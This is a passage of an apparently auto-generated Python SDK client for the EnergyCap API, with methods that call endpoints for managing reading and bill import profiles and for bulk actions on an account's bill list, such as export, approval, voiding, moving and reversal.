path_format_arguments = {
'profileId': self._serialize.url("profile_id", profile_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ReadingImportProfileRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ReadingImportProfileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_reading_import_profile.metadata = {'url': '/api/v3/import/reading/profile/{profileId}'}
def delete_reading_import_profile(
self, profile_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a reading import profile.
:param profile_id: The identifier for the profile being deleted
:type profile_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_reading_import_profile.metadata['url']
path_format_arguments = {
'profileId': self._serialize.url("profile_id", profile_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_reading_import_profile.metadata = {'url': '/api/v3/import/reading/profile/{profileId}'}
def get_bill_import_profiles(
self, custom_headers=None, raw=False, **operation_config):
"""Get all bill import profiles.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: list or ClientRawResponse if raw=true
:rtype: list[~energycap.sdk.models.BillImportProfileResponse] or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_import_profiles.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('[BillImportProfileResponse]', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_import_profiles.metadata = {'url': '/api/v3/import/bill/profile'}
def write_bill_import_profile(
self, body=None, custom_headers=None, raw=False, **operation_config):
"""Creates a bill import profile.
:param body: The details about the profile being created
:type body: ~energycap.sdk.models.BillImportProfileRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillImportProfileResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillImportProfileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.write_bill_import_profile.metadata['url']
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillImportProfileRequest')
else:
body_content = None
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillImportProfileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
write_bill_import_profile.metadata = {'url': '/api/v3/import/bill/profile'}
def get_bill_import_profile(
self, profile_id, custom_headers=None, raw=False, **operation_config):
"""Get a bill import profile.
:param profile_id: The identifier for the profile to get
:type profile_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillImportProfileResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillImportProfileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_bill_import_profile.metadata['url']
path_format_arguments = {
'profileId': self._serialize.url("profile_id", profile_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillImportProfileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_bill_import_profile.metadata = {'url': '/api/v3/import/bill/profile/{profileId}'}
def delete_bill_import_profile(
self, profile_id, custom_headers=None, raw=False, **operation_config):
"""Deletes a bill import profile.
:param profile_id: The identifier for the profile being deleted
:type profile_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.delete_bill_import_profile.metadata['url']
path_format_arguments = {
'profileId': self._serialize.url("profile_id", profile_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
delete_bill_import_profile.metadata = {'url': '/api/v3/import/bill/profile/{profileId}'}
def edit_bill_import_profile(
self, profile_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Edit a bill import profile.
:param profile_id: The identifier for the profile being edited
:type profile_id: int
:param body: The details about the profile being edited
:type body: ~energycap.sdk.models.BillImportProfileRequest
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillImportProfileResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillImportProfileResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.edit_bill_import_profile.metadata['url']
path_format_arguments = {
'profileId': self._serialize.url("profile_id", profile_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillImportProfileRequest')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillImportProfileResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
edit_bill_import_profile.metadata = {'url': '/api/v3/import/bill/profile/{profileId}'}
def account_list(
self, account_id, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get the account bills list.
:param account_id: The account identifier to retrieve bills list for
:type account_id: int
:param page_size: The number of elements to return in a page
:type page_size: int
:param page_number: The current page number
:type page_number: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ListResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.ListResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_list.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
if page_size is not None:
query_parameters['pageSize'] = self._serialize.query("page_size", page_size, 'int')
if page_number is not None:
query_parameters['pageNumber'] = self._serialize.query("page_number", page_number, 'int')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
header_dict = {}
if response.status_code == 200:
deserialized = self._deserialize('ListResponse', response)
header_dict = {
'PageNumber': 'int',
'TotalPages': 'int',
'PageSize': 'int',
'TotalNumberOfRecords': 'int',
}
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
client_raw_response.add_headers(header_dict)
return client_raw_response
return deserialized
account_list.metadata = {'url': '/api/v3/account/{accountId}/list/bill'}
def account_bill_list_export(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Export all account bills to ap or gl
Maximum of 10000 bills can be processed at one time.
:param account_id: The account to export all bills
:type account_id: int
:param body: Bill Export Options
:type body: ~energycap.sdk.models.BillExportOptions
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_export.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillExportOptions')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
account_bill_list_export.metadata = {'url': '/api/v3/account/{accountId}/list/bill/export'}
def account_bill_list_unexport(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Unexport account bills.
:param account_id: The account for which to unexport all bills
:type account_id: int
:param body: Value of "ap" for A/P unexport, or "gl" for GL unexport
:type body: ~energycap.sdk.models.BillUnexportOptions
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_unexport.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillUnexportOptions')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_bill_list_unexport.metadata = {'url': '/api/v3/account/{accountId}/list/bill/unexport'}
def account_bill_list_approve(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Approve/unapprove account bills.
:param account_id: The account to approve/unapprove all bills
:type account_id: int
:param body: Boolean representing approve flag
:type body: ~energycap.sdk.models.ListActionApprove
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_approve.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionApprove')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_bill_list_approve.metadata = {'url': '/api/v3/account/{accountId}/list/bill/approve'}
def account_bill_list_delete_bills(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Delete all bills for account.
:param account_id: The account to delete all bills from
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: BillDeleteActionResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.BillDeleteActionResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_delete_bills.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('BillDeleteActionResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_bill_list_delete_bills.metadata = {'url': '/api/v3/account/{accountId}/list/bill/data'}
def account_bill_list_export_hold(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Hold/release account bills for export.
:param account_id: The account to set the export hold flag on all
bills
:type account_id: int
:param body: Boolean representing exportHold flag
:type body: ~energycap.sdk.models.ListActionExportHold
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_export_hold.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionExportHold')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_bill_list_export_hold.metadata = {'url': '/api/v3/account/{accountId}/list/bill/exporthold'}
def account_bill_list_void(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Void/unvoid account bills.
:param account_id: The account to void/unvoid all bills
:type account_id: int
:param body: Boolean representing void flag
:type body: ~energycap.sdk.models.ListActionVoid
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_void.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionVoid')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_bill_list_void.metadata = {'url': '/api/v3/account/{accountId}/list/bill/void'}
def account_bill_list_excel_export(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Export list data to excel spreadsheet format.
:param account_id: The account to export bills
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_excel_export.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
account_bill_list_excel_export.metadata = {'url': '/api/v3/account/{accountId}/list/bill/excelexport'}
def get_possible_destination_accounts_for_account_list(
self, account_id, custom_headers=None, raw=False, **operation_config):
"""Retrieves a list of Accounts that contain meters of ALL of the
commodities represented by the given Account's Bill List.
:param account_id: A specific Account that should be used for finding
matching Accounts (uses all Bills on the Account Bill List).
:type account_id: int
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: MoveBillsDestination or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.MoveBillsDestination or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.get_possible_destination_accounts_for_account_list.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if custom_headers:
header_parameters.update(custom_headers)
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('MoveBillsDestination', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_possible_destination_accounts_for_account_list.metadata = {'url': '/api/v3/account/{accountId}/list/bill/possibleDestinationAccounts'}
def move_bills_to_account_from_account_list(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Moves the bills from the given Account's Bill List to the specified
destination Account and Meters. Each source Meter
will be matched with a corresponding destination Meter based on
commodity.
<param name="accountId">
Account for the Bill List containing a list of bills that should be
moved. All bills from this Account's Bill List will be moved.
</param><param name="dto">
DTO containing the destination Account Id, the destination AcountMeter
Ids, a flag indicating whether the Account GL
information should be updated, and a flag indicating whether the Meter
GL information should be updated.
</param>.
:param account_id:
:type account_id: int
:param body:
:type body: ~energycap.sdk.models.BillActionMoveList
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: None or ClientRawResponse if raw=true
:rtype: None or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.move_bills_to_account_from_account_list.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillActionMoveList')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [204]:
raise HttpOperationError(self._deserialize, response)
if raw:
client_raw_response = ClientRawResponse(None, response)
return client_raw_response
move_bills_to_account_from_account_list.metadata = {'url': '/api/v3/account/{accountId}/list/bill/moveBills'}
def account_bill_list_custom_action(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Fires a custom bill action on an account bill list. Custom bill actions
are setup as webhooks.
:param account_id: The account against which all of its bills will
have the custom action performed
:type account_id: int
:param body:
:type body: ~energycap.sdk.models.ListActionCustom
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: WebhookLogDetailsResponse or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.WebhookLogDetailsResponse or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.account_bill_list_custom_action.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionCustom')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('WebhookLogDetailsResponse', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
account_bill_list_custom_action.metadata = {'url': '/api/v3/account/{accountId}/list/bill/customAction'}
def reverse_account_bill_list(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Reverses all bills on an account bill list.
:param account_id: The account that all bills will be reversed on
:type account_id: int
:param body: Batch settings for the reversed bills. If not provided,
bills will be placed in the currently open batch.
:type body: ~energycap.sdk.models.ListActionReverse
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.reverse_account_bill_list.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionReverse')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
reverse_account_bill_list.metadata = {'url': '/api/v3/account/{accountId}/list/bill/reverse'}
def set_account_bill_list_accrual_exclusion(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Excludes or undoes exclusion of bills from accruals.
:param account_id: The account whose bills will be excluded or have
exclusion undone
:type account_id: int
:param body: Indicates whether or not the bills should be excluded
from accruals or should have exclusion undone
:type body: ~energycap.sdk.models.ListActionAccrualExclusion
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.set_account_bill_list_accrual_exclusion.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'ListActionAccrualExclusion')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
set_account_bill_list_accrual_exclusion.metadata = {'url': '/api/v3/account/{accountId}/list/bill/accrualExclusion'}
def update_account_bill_list_headers(
self, account_id, body=None, custom_headers=None, raw=False, **operation_config):
"""Updates bill headers for the bills for an account's bill list
Audits won't be fired.
:param account_id: The account whose bills will have header updates
applied
:type account_id: int
:param body: Indicates which headers need to be updated
:type body: ~energycap.sdk.models.BillHeaderUpdate
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: UpdateResult or ClientRawResponse if raw=true
:rtype: ~energycap.sdk.models.UpdateResult or
~msrest.pipeline.ClientRawResponse
:raises:
:class:`HttpOperationError<msrest.exceptions.HttpOperationError>`
"""
# Construct URL
url = self.update_account_bill_list_headers.metadata['url']
path_format_arguments = {
'accountId': self._serialize.url("account_id", account_id, 'int')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if custom_headers:
header_parameters.update(custom_headers)
# Construct body
if body is not None:
body_content = self._serialize.body(body, 'BillHeaderUpdate')
else:
body_content = None
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise HttpOperationError(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('UpdateResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
update_account_bill_list_headers.metadata = {'url': '/api/v3/account/{accountId}/list/bill/billHeaders'}
def meter_bill_list(
self, meter_id, page_size=None, page_number=None, custom_headers=None, raw=False, **operation_config):
"""Get the meter bills list.
